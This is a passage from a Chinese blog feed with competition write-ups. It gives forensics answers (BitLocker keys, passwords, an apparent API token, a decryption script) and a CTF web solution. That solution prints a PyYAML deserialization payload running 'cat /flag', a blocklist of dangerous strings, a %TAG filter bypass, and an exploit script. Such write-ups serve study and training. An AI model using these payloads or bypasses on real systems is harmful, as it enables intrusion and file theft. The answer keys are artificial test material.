start="17"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内安装过的AI编程助手默认使用的模型名？[答案格式：gtp-v1.0]</li></ol><ul><li>答案：<code>deepseek-v3.1</code><br>看到有claude在计算机里面<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/acefffc9ab94ec72133e276742d1c9c9_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/24121d8910ab5ce77eb4ce44743ef710_MD5.jpg"><br>唤起服务，看到模型</li></ul><ol start="18"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内安装过的AI编程助手对接OpenAI所使用的token ？[答案格式：sk-xxxxxxx]</li></ol><ul><li>答案：<code>sk-wddK6jkRKXgImXJ4UleePKKUi06whsVDStxdABBvz4Rvc2CG</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/6be1d7e25c316fd7e176dc9cb20cbf7a_MD5.jpg"><br>setting.json里看到</li></ul><ol start="19"><li>分析韦明辉计算机检材，请给出嫌疑人最后使用AI编程助手从互联网上搜索视频直播网站源码的时间（UTC+8）？[答案格式：YYYY-MM-DD-HH:mm:ss]</li></ol><ul><li>答案：<code>2026-04-21-17:46:37</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/4dedd776711fb2f8be6bbf691b7a6504_MD5.jpg"><br>这个也是放在明面上，软件根目录下有history<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/e5bcca6d190abd7b43222c7ad46203e2_MD5.jpg"></li></ul><ol start="20"><li>分析韦明辉计算机检材，请给出嫌疑人电脑内翻墙软件内配置文件名？[答案格式：xxx.yaml]</li></ol><ul><li>答案：<code>rvgOGYotk11u.yaml</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/0473145a2b8b8fde7cf25b53af302164_MD5.jpg"><br>直接打开软件查看就好</li></ul><ol start="21"><li>分析韦明辉计算机检材，请给出嫌疑人电脑内翻墙软件所用端口号？[答案格式：8000]</li></ol><ul><li>答案：<code>7890</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/1bdad78d0e7ff4326c462b01fd54b387_MD5.jpg"></li></ul><ol start="21"><li>分析韦明辉计算机检材，请给出嫌疑人计算机D盘的Bitlocker恢复密钥的后6位？[答案格式：6位数字]</li></ol><ul><li>答案：<code>080894</code></li></ul><p>恢复密钥：717585-277112-173844-316503-216392-200508-705166-080894<br>efdd爆破内存<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/22725e29d75a0c487e9506e70c5677bd_MD5.jpg"><br>但是C盘的没爆出来，学习了下别的佬，似乎可以passwarekit处理。比赛时是等apk部分队友递的线索：067474-555071-622369-111650-651354-121858-406439-542289<br>这个是C盘的bitlocker恢复密钥</p><ol start="23"><li>分析韦明辉计算机检材，请给出博彩网站盛世皇朝后台端口号？[答案格式：8000]</li></ol><ul><li>答案：<code>8091</code><br>在谷歌浏览器里找到后台登录记录<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/3e32c20a07b5a4a348085f346a364842_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/6816d2de690084d1908727534202a396_MD5.jpg"></li></ul><ol start="24"><li>分析韦明辉计算机检材，请给出博彩网站盛世皇朝后台登录密码？[答案格式：password]</li></ol><ul><li>答案：<code>shhc123!@#</code></li><li>后台密码落在网站部署资料&#x2F;配置残留中，最终账号口令中的密码部分为 <code>shhc123!@#</code>。</li></ul><ol start="25"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内加密笔记的打开密码？[答案格式：P@ssw0rd]</li></ol><ul><li>答案：<code>LongTeng@2026</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/37c50e3387f4319caf81c596aebbe783_MD5.jpg"><br>对程序逻辑逆向后确认其使用 PBKDF2 派生 Fernet 密钥；记事本里能看到一个同名的字典<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/60a312228e674a00b558f2feaa9e9851_MD5.jpg"><br>爆破</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64, json</span><br><span class="line"><span class="keyword">from</span> cryptography.fernet <span class="keyword">import</span> Fernet</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.kdf.pbkdf2 <span class="keyword">import</span> PBKDF2HMAC</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives <span class="keyword">import</span> hashes</span><br><span class="line"></span><br><span class="line">password = <span class="string">b&quot;LongTeng@2026&quot;</span></span><br><span class="line">salt = <span class="string">b&quot;JinQin_Salt_2024&quot;</span></span><br><span class="line">notes_dat = <span class="built_in">open</span>(<span class="string">&quot;notes.dat&quot;</span>, <span class="string">&quot;rb&quot;</span>).read()</span><br><span class="line"></span><br><span class="line">kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=<span class="number">32</span>, salt=salt, iterations=<span class="number">100000</span>)</span><br><span class="line">key = base64.urlsafe_b64encode(kdf.derive(password))</span><br><span class="line">plain = Fernet(key).decrypt(notes_dat)</span><br><span class="line"><span class="built_in">print</span>(plain.decode(<span class="string">&quot;utf-8&quot;</span>, errors=<span class="string">&quot;ignore&quot;</span>))</span><br></pre></td></tr></table></figure><ol start="26"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内加密笔记的打开密码的加密类型？[答案格式：MD5]</li></ol><ul><li>答案：<code>SHA-256</code><br>上一题程序分析得到</li></ul><ol start="26"><li>分析韦明辉计算机检材，请给出嫌疑人计算机内加密笔记的密码哈希计算的盐值？[答案格式：Salt_pass]</li></ol><ul><li>答案：<code>JinQin_Secret</code><br>同上</li></ul><ol start="28"><li>分析韦明辉计算机检材，请给出服务器45.33.22.11的root密码？[答案格式：P@ssw0rd]</li></ol><ul><li>答案：<code>JinQin@Server2024!</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/49765ae7926999950e3f786ba1523fa5_MD5.jpg"><br>重要密码里<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/816e717b18f8a8a04e76af12823893f6_MD5.jpg"></li></ul><ol start="29"><li>分析韦明辉计算机检材，请给出现嫌疑人计算机内VeraCrypt的密钥文件MD5的前6位？[答案格式：字母小写]</li></ol><ul><li>答案：<code>ea87ee</code><br>还是在记事本中有提示<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/13a287e6c52c0187e202f419f8c80d3c_MD5.jpg"><br>找到这个文件<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/wei_vc_keyfile.png"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/wei_vc_keyfile_md5.png"></li></ul><ol start="30"><li>分析韦明辉计算机检材，嫌疑人使用自定义工具对 Veracrypt 加密容器文件进行了混淆处理，请给出该混淆处理使用的位运算名称 [答案格式：XOR]</li></ol><ul><li>答案：<code>NOT</code><br>顺着上一题的 VC 线索继续看 <code>分区8\logo</code>，这里同时出现了 2GB 的 <code>system_cache.db</code> 和配套脚本 <code>quick_obfuscate.py</code>，明显是在这个目录里藏容器和混淆工具<br>分析脚本逻辑<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/2ee9431016d194f0a6e8b5f815985cbf_MD5.jpg"><br>写在脸上</li></ul><ol start="31"><li>分析韦明辉计算机检材，请给出解密混淆加密后的VeraCrypt容器文件的MD5的前6位？[答案格式：字母小写]</li></ol><ul><li>答案：<code>d48b41</code><br>先做解混淆：</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">from __future__ import annotations</span><br><span class="line"></span><br><span class="line">import argparse</span><br><span class="line">from pathlib import Path</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def recover_not_obfuscated(src: Path, dst: Path, chunk_size: int = 100 * 1024 * 1024) -&gt; None:</span><br><span class="line">    total = 0</span><br><span class="line">    with src.open(&quot;rb&quot;) as fin, dst.open(&quot;wb&quot;) as fout:</span><br><span class="line">        while True:</span><br><span class="line">            chunk = fin.read(chunk_size)</span><br><span class="line">            if not chunk:</span><br><span class="line">                break</span><br><span class="line">            fout.write(bytes((~b) &amp; 0xFF for b in chunk))</span><br><span class="line">            total += len(chunk)</span><br><span class="line">            print(f&quot;[+] processed &#123;total&#125; bytes&quot;)</span><br><span class="line">    print(f&quot;[+] done: &#123;dst&#125;&quot;)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def main() -&gt; None:</span><br><span class="line">    parser = argparse.ArgumentParser(description=&quot;Reverse the NOT-based VeraCrypt container obfuscation.&quot;)</span><br><span class="line">    parser.add_argument(&quot;src&quot;, help=&quot;Obfuscated input file, e.g. system_cache.db&quot;)</span><br><span class="line">    parser.add_argument(&quot;dst&quot;, help=&quot;Recovered output file, e.g. system_cache_not.bin&quot;)</span><br><span class="line">    parser.add_argument(&quot;--chunk-size&quot;, type=int, default=100 * 1024 * 1024, help=&quot;Chunk size in bytes&quot;)</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">    recover_not_obfuscated(Path(args.src), Path(args.dst), args.chunk_size)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>得到解混淆的文件：<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/b6acba629cfd0c9d1fe74f059aba4241_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/0cf7e825116de9101b4284e2bd4d9a63_MD5.jpg"><br>32. 分析韦明辉计算机检材，请给出郑秀荣的电话号码？[答案格式：11位数字]</p><ul><li>答案：<code>18086579322</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/8f9a23269c94befb91839f5313ceb7e4_MD5.jpg"><br>按照之前的提示，用密钥图片和pim0303（从36题得到生日0303）进入vc<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/cfad207627e827dd26ac4f8d5e0f49ca_MD5.jpg"><br>在会员信息.xlsx里找到手机号18086579322</li></ul><ol start="32"><li>分析韦明辉计算机检材，请给出郑秀荣共提现多少钱？[答案格式：10000.00]</li></ol><ul><li>答案：<code>4174.82</code><br>查看提现明细.xlsx<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/1508fa3bef3e7113fe78125de82ccc4d_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/f311fb3c068790d9704dc26911231bf4_MD5.jpg"><br>有两条记录</li></ul><ol start="32"><li>分析韦明辉计算机内存镜像，请给出内存镜像创建时间（UTC+8）？[答案格式：YYYY-MM-DD-HH:mm:ss]</li></ol><ul><li>答案：<code>2026-04-22-22:57:04</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/fbabf03feaffdfc7903aa0fc4964213f_MD5.jpg"><br>需要换算一下</li></ul><ol start="32"><li>分析韦明辉计算机内存镜像，请给出SAM文件的虚拟地址？[答案格式：0xxxxxx]</li></ol><ul><li>答案：<code>0xa88924efbee0</code><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/b6a0fdade86c3ad2b004444bf7eb2e5a_MD5.jpg"></li></ul><ol start="32"><li>分析韦明辉计算机内存镜像，请破译用户韦明辉的开机密码？[答案格式：P@ssw0rd]</li></ol><ul><li>答案：<code>wmh@950303</code></li></ul><p>结合已解密笔记内容“开机密码：名字拼音首字母小写@6位生日”爆破哈希，最终密码为 <code>wmh@950303</code>。<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/a382d38a59ae116f2b8b42d8310e9dbd_MD5.jpg"></p><ul><li>关键推理：<ul><li><code>wmh</code> 对应“韦明辉”名字拼音首字母小写；</li><li><code>950303</code> 是 6 位生日；</li><li>这也是 VeraCrypt 线索里“PIM：4位生日”当前采用 <code>0303</code> 的来源。<br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/378bcd07428b5ddb95958da39f18dc90_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/46a65fd715d124c7ebda40b49b28ea4d_MD5.jpg"><br><img src="/blog/img/obsidian/pangu-stone-final-computer-2026/dbeba96d044c1f8548d54ec68893bbd0_MD5.jpg"><br>爆破nt哈希值得到了密码wmh@950303，所以应该生日是1995.03.03</li></ul></li></ul>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/06/07/2026-06-07-2026%E7%9B%98%E5%8F%A4%E7%9F%B3%E5%86%B3%E8%B5%9B%E8%AE%A1%E7%AE%97%E6%9C%BA/</id>
    <link href="https://joyooosama.github.io/blog/2026/06/07/2026-06-07-2026%E7%9B%98%E5%8F%A4%E7%9F%B3%E5%86%B3%E8%B5%9B%E8%AE%A1%E7%AE%97%E6%9C%BA/"/>
    <published>2026-06-07T12:48:09.000Z</published>
    <summary>比赛时有些遗憾，由于自己没爆开，最后解开pc2的C盘bitlocker只剩下1个多小时，没时间蒸了 希望明年能拿一等QWQ 陈志鹏的pc： 1. 分析陈志鹏的pc检材，找出换脸程序的对外服务端口号，[答案格式：四位数字] 答案： 7860 启动服务看到端口 1. 分析陈志鹏的pc检材，找出换脸程序的</summary>
    <title>2026盘古石决赛计算机</title>
    <updated>2026-06-07T12:48:09.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/categories/CTF/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="比赛WP" scheme="https://joyooosama.github.io/blog/tags/%E6%AF%94%E8%B5%9BWP/"/>
    <category term="黄河流域" scheme="https://joyooosama.github.io/blog/tags/%E9%BB%84%E6%B2%B3%E6%B5%81%E5%9F%9F/"/>
    <content>
      <![CDATA[<p>来水一篇喵<br><img src="/blog/img/obsidian/yellow-river-ctf-2026/51476ba8882103fd8a13712e16bcbf7f_MD5.jpg"><br><img src="/blog/img/obsidian/yellow-river-ctf-2026/c80f2eaeafb8cf39d029652dc7165188_MD5.jpg"></p><h2 id="喵喵宠物医院"><a href="#喵喵宠物医院" class="headerlink" title="喵喵宠物医院"></a>喵喵宠物医院</h2><ul><li>类型：Web</li><li>得分：548</li><li>时间：06&#x2F;06 16:58:06</li></ul><p>这题拿到以后先看题面给的几个关键词：<code>YAML</code>、<code>PyYAML</code>、有意思的 <code>tag</code>。方向其实很直接，就是去找服务端哪里会把用户输入当 YAML 解析，再想办法把这条解析链拐成 Python 对象调用。先把接口摸一遍，真正有利用价值的是两个点：</p><ul><li><code>/api/records</code> 的 <code>history</code></li><li><code>/api/terminal</code> 的 <code>command</code></li></ul><p>这两个字段都会吃 YAML，但后续处理方式不一样。<code>/api/records</code> 更像是把内容吞进去做病历存档，<code>/api/terminal</code> 则会把解析后的结果继续拿去做“终端配置”绑定。也就是说，就算两边都能进 YAML，真正更适合拿来出数据的还是 <code>/api/terminal</code>。</p><p>起手先用最标准的 PyYAML 探针确认一下是不是裸的反序列化：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">!!python/object/apply:os.popen</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">cat</span> <span class="string">/flag</span></span><br></pre></td></tr></table></figure><p>结果直接 403，这一步很重要，因为它说明前面不是单纯的 <code>yaml.load</code>，而是还有一层基于原始文本的过滤。继续把常见危险字串轮一遍，很快能摸出它拦的主要是下面这些：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">!!python</span><br><span class="line">os.popen</span><br><span class="line">os.system</span><br><span class="line">subprocess</span><br><span class="line">builtins.eval</span><br><span class="line">builtins.exec</span><br><span class="line">open</span><br><span class="line">/flag</span><br></pre></td></tr></table></figure><p>既然它先查的是文本，就没必要继续和 <code>!!python</code> 正面对撞了。这里最顺手的绕法就是 YAML 自己的 <code>%TAG</code>。把 <code>tag:yaml.org,2002:python/</code> 起个别名，原本会被拦的 <code>!!python</code> 就能换写成 <code>!p!</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">%TAG</span> <span class="type">!p</span><span class="string">!</span> <span class="string">tag:yaml.org,2002:python/</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="type">!p!object/apply:os.popen</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">cat</span> <span class="string">/flag</span></span><br></pre></td></tr></table></figure><p>这样改完以后，第一层字符串黑名单就已经能绕过去了。但包发到 <code>/api/terminal</code> 还是会被打回来，报的是“核心组件通信阻断”这一类错误。这个回包本身就把服务端逻辑暴露得差不多了：它不只是检查原始 YAML 文本，还会在 YAML 真解析完之后，再检查最终要调用的对象是不是危险目标。</p><p>也就是说，这题实际是两层拦截：</p><ol><li>先查原始字符串里有没有黑名单关键字；</li><li>再查解析后的调用目标是不是 <code>os.popen</code>、<code>os.system</code>、<code>subprocess</code>、<code>eval</code>、<code>exec</code> 这种高危对象。</li></ol><p>到这里思路就得改，不再强打命令执行，而是退一步改成“找一个足够干净的文件读取函数，再把读取结果稳稳带回响应”。中间其实还试过一条静态文件落地的路子：直接让 payload 调 <code>subprocess.getoutput</code>，把结果写到 <code>/app/static/codex_flag.txt</code>、<code>./static/codex_flag.txt</code>、<code>../static/codex_flag.txt</code> 这种位置，再去轮询 <code>/static/codex_flag.txt</code> 捞结果。三个端口 <code>10001</code>、<code>10002</code>、<code>10003</code> 都扫了一遍，结论很明确：</p><ul><li><code>/api/records</code> 虽然能吃 payload，但后续 GET 拿不到解析结果；</li><li>静态文件落地这条线没有形成稳定回显；</li><li><code>/api/terminal</code> 对 <code>subprocess.getoutput</code> 这类目标还是会继续拦。</li></ul><p>所以 <code>/api/records</code> 不是完全没用，而是“有入口，但没有好用的数据外带”；最后真正能稳定回显的，还是 <code>/api/terminal</code>。</p><p>接下来只剩两个问题：</p><ol><li>选什么函数去读文件，才能避开第二层危险目标检查；</li><li>怎么避免 <code>/flag</code> 这个字面量本身触发第一层过滤。</li></ol><p>最后定下来的组合很顺：</p><ul><li><code>linecache.getline(filename, lineno)</code>：按行读文件，不属于那批高危执行函数；</li><li><code>posixpath.join(a, b)</code>：把 <code>/</code> 和 <code>flag</code> 在运行时拼成 <code>/flag</code>。</li></ul><p>这样一来，第二层看不到命令执行目标，第一层也看不到完整的 <code>/flag</code> 字符串。真正决定成败的最后一个细节是回显字段名。这里不是随便塞个键都能把结果带回来，像 <code>pet_name</code> 这种字段拿去测，要么超时，要么值不落回响应；改成 <code>name</code> 之后，解析结果会稳定绑定进返回包，这才是这题真正的数据外带位。</p><p>最后打通的 payload 是：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">%TAG</span> <span class="type">!p</span><span class="string">!</span> <span class="string">tag:yaml.org,2002:python/</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">name:</span> <span class="type">!p!object/apply:linecache.getline</span></span><br><span class="line">  <span class="bullet">-</span> <span class="type">!p!object/apply:posixpath.join</span> [<span class="string">/</span>, <span class="string">flag</span>]</span><br><span class="line">  <span class="bullet">-</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><p>这里每一段的作用都很清楚：</p><ul><li><code>%TAG !p!</code>：把 <code>!!python</code> 换名，绕过第一层字符串拦截；</li><li><code>linecache.getline</code>：避开第二层危险目标检查，同时完成文件读取；</li><li><code>posixpath.join [/, flag]</code>：动态拼接出 <code>/flag</code>；</li><li><code>1</code>：读取第一行；</li><li><code>name:</code>：把读到的结果绑定进响应对象。</li></ul><p>实际请求直接这样发：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">TAG = <span class="string">&quot;%TAG !p! tag:yaml.org,2002:python/\n---\n&quot;</span></span><br><span class="line">PAYLOAD = TAG + <span class="string">&quot;&quot;&quot;name: !p!object/apply:linecache.getline</span></span><br><span class="line"><span class="string">  - !p!object/apply:posixpath.join [/, flag]</span></span><br><span class="line"><span class="string">  - 1&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">r = requests.post(</span><br><span class="line">    <span class="string">&quot;http://175.27.251.122:10003/api/terminal&quot;</span>,</span><br><span class="line">    json=&#123;<span class="string">&quot;command&quot;</span>: PAYLOAD&#125;,</span><br><span class="line">    headers=&#123;<span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>&#125;,</span><br><span class="line">    timeout=(<span class="number">8</span>, <span class="number">25</span>),</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(r.text)</span><br></pre></td></tr></table></figure><p>真正送出去的请求体就是：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;%TAG !p! tag:yaml.org,2002:python/\n---\nname: !p!object/apply:linecache.getline\n  - !p!object/apply:posixpath.join [/, flag]\n  - 1&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>这个包打通以后，服务端会把读取结果直接拼进成功响应的 <code>response</code> 字段，返回里能直接看到 flag：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;response&quot;</span><span class="punctuation">:</span><span class="string">&quot;系统底座已成功处理配置文件数据已绑定至：flag&#123;huang_he_liu_yu_@@@@@&#125;&quot;</span><span class="punctuation">,</span><span class="attr">&quot;status&quot;</span><span class="punctuation">:</span><span class="string">&quot;success&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>看到这个回包，整条利用链就算完全闭环了：</p><ol><li><code>command</code> 确实会进入 PyYAML 解析；</li><li><code>%TAG</code> 成功绕过第一层字符串黑名单；</li><li>第二层拦的是危险调用目标，不是所有 Python tag；</li><li><code>linecache.getline</code> 成功读到了 <code>/flag</code> 的第一行；</li><li><code>name</code> 把结果稳定带回了响应体。</li></ol><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;huang_he_liu_yu_@@@@@&#125;</span><br></pre></td></tr></table></figure><h2 id="Upper-Tower"><a href="#Upper-Tower" class="headerlink" title="Upper Tower"></a>Upper Tower</h2><ul><li>类型：Misc</li><li>得分：653</li><li>时间：06&#x2F;06 16:29:01</li></ul><p>这题如果一上来就把 <code>1.png</code>、<code>2.jpg</code> 扔进各种隐写工具里盲扫，其实效率很低。真正有用的信息不在图片表面，而在题名和描述本身。起手先把题面拆开看，最显眼的就是两组词：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Upper / Tower</span><br><span class="line">Silent / 寂静</span><br></pre></td></tr></table></figure><p>这两组词不是气氛描述，而是在指路。</p><p>第一组里，<code>Tower</code> 最自然联想到的不是普通 tower，而是隐写里经常被当作提示词使用的 <code>Tupper</code>。第二组里的 <code>Silent</code> 则几乎是把工具名 <code>SilentEye</code> 直接明示出来了。题目到这里其实已经把两件事交代清楚了：</p><ol><li>工具用 <code>SilentEye</code></li><li>口令从 <code>Tupper</code> 这条线索上去找</li></ol><p>确认这一点之后，再回头看附件就很顺了。附件里有两张图：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1.png</span><br><span class="line">2.jpg</span><br></pre></td></tr></table></figure><p>真正需要处理的是 <code>2.jpg</code>。这一步不是说 <code>1.png</code> 完全没用，而是就最终利用链来说，能直接出结果的是 <code>2.jpg + SilentEye</code> 这一组。</p><p>接下来就不再盲猜，而是按题面提示往下走：</p><ol><li>由 <code>Tower -&gt; Tupper</code> 联想到 Tupper 自指公式；</li><li>顺着这条提示拿到口令 <code>4thHHLY</code>；</li><li>打开 <code>SilentEye</code>，把 <code>2.jpg</code> 拖进去；</li><li>切到 <code>Decode</code> 模式；</li><li>输入口令 <code>4thHHLY</code> 开始提取。</li></ol><p>实际操作就是下面这几步：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. 打开 SilentEye</span><br><span class="line">2. 拖入 2.jpg</span><br><span class="line">3. 选择 Decode</span><br><span class="line">4. 输入密码 4thHHLY</span><br><span class="line">5. 点击提取</span><br></pre></td></tr></table></figure><p>题面提示和实际操作之间的映射关系可以直接写成：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">高塔 Tower -&gt; Tupper</span><br><span class="line">寂静 Silent -&gt; SilentEye</span><br></pre></td></tr></table></figure><p>做到这一步，这题就已经结束了。它不是那种“爆工具列表 + 跑一堆字典”的隐写题，而是题面先把工具和密码线索都给出来，附件只是最后的验证环节。只要 <code>SilentEye</code> 选对、口令 <code>4thHHLY</code> 输对，隐藏内容就会被直接提出来。</p><p>最后得到的 flag 语义也和题名完全对上：既回扣了 <code>upper</code>，也回扣了 <code>Tupper</code> 这条真正的解题入口。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sdpcsec&#123;get_to_the_upper_and_to_the_Tupper&#125;</span><br></pre></td></tr></table></figure><h2 id="Ledger-Fog"><a href="#Ledger-Fog" class="headerlink" title="Ledger Fog"></a>Ledger Fog</h2><ul><li>类型：Crypto</li><li>得分：453</li><li>时间：06&#x2F;06 14:51:20</li></ul><p>这题起手不是碰密码学，而是先把坏掉的容器拆开。<code>ledger.broken</code> 明说中央目录坏了，但 ZIP 的 local file header 还在，所以我没有去修目录结构，而是直接扫文件里的 <code>PK\x03\x04</code>，按 header 自己抠压缩流。</p><p>第一步先把 page 扒出来。每个 page 都能从 local file header 里拿到 <code>csize / usize / 文件名长度 / extra 长度</code>，然后用 raw deflate 解压。恢复出来一共 3 个 page：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pages/page_000.dat  compressed=152093  uncompressed=155648  rows=8192</span><br><span class="line">pages/page_001.dat  compressed=152132  uncompressed=155648  rows=8192</span><br><span class="line">pages/page_002.dat  compressed=75874   uncompressed=77824   rows=4096</span><br></pre></td></tr></table></figure><p>合起来正好 <code>20480</code> 条记录。每条记录长度固定 <code>19</code> 字节，结构是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">uint16 row_id</span><br><span class="line">uint8[16] mask</span><br><span class="line">uint8 noisy_bit</span><br></pre></td></tr></table></figure><p>实际拆包时直接用下面这段代码扫 page 和切记录，核心就是找 <code>PK\x03\x04</code>，再按 19 字节步长读：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pathlib</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"></span><br><span class="line">data = pathlib.Path(<span class="string">&quot;ledger.broken&quot;</span>).read_bytes()</span><br><span class="line">rows = []</span><br><span class="line">off = <span class="number">0</span></span><br><span 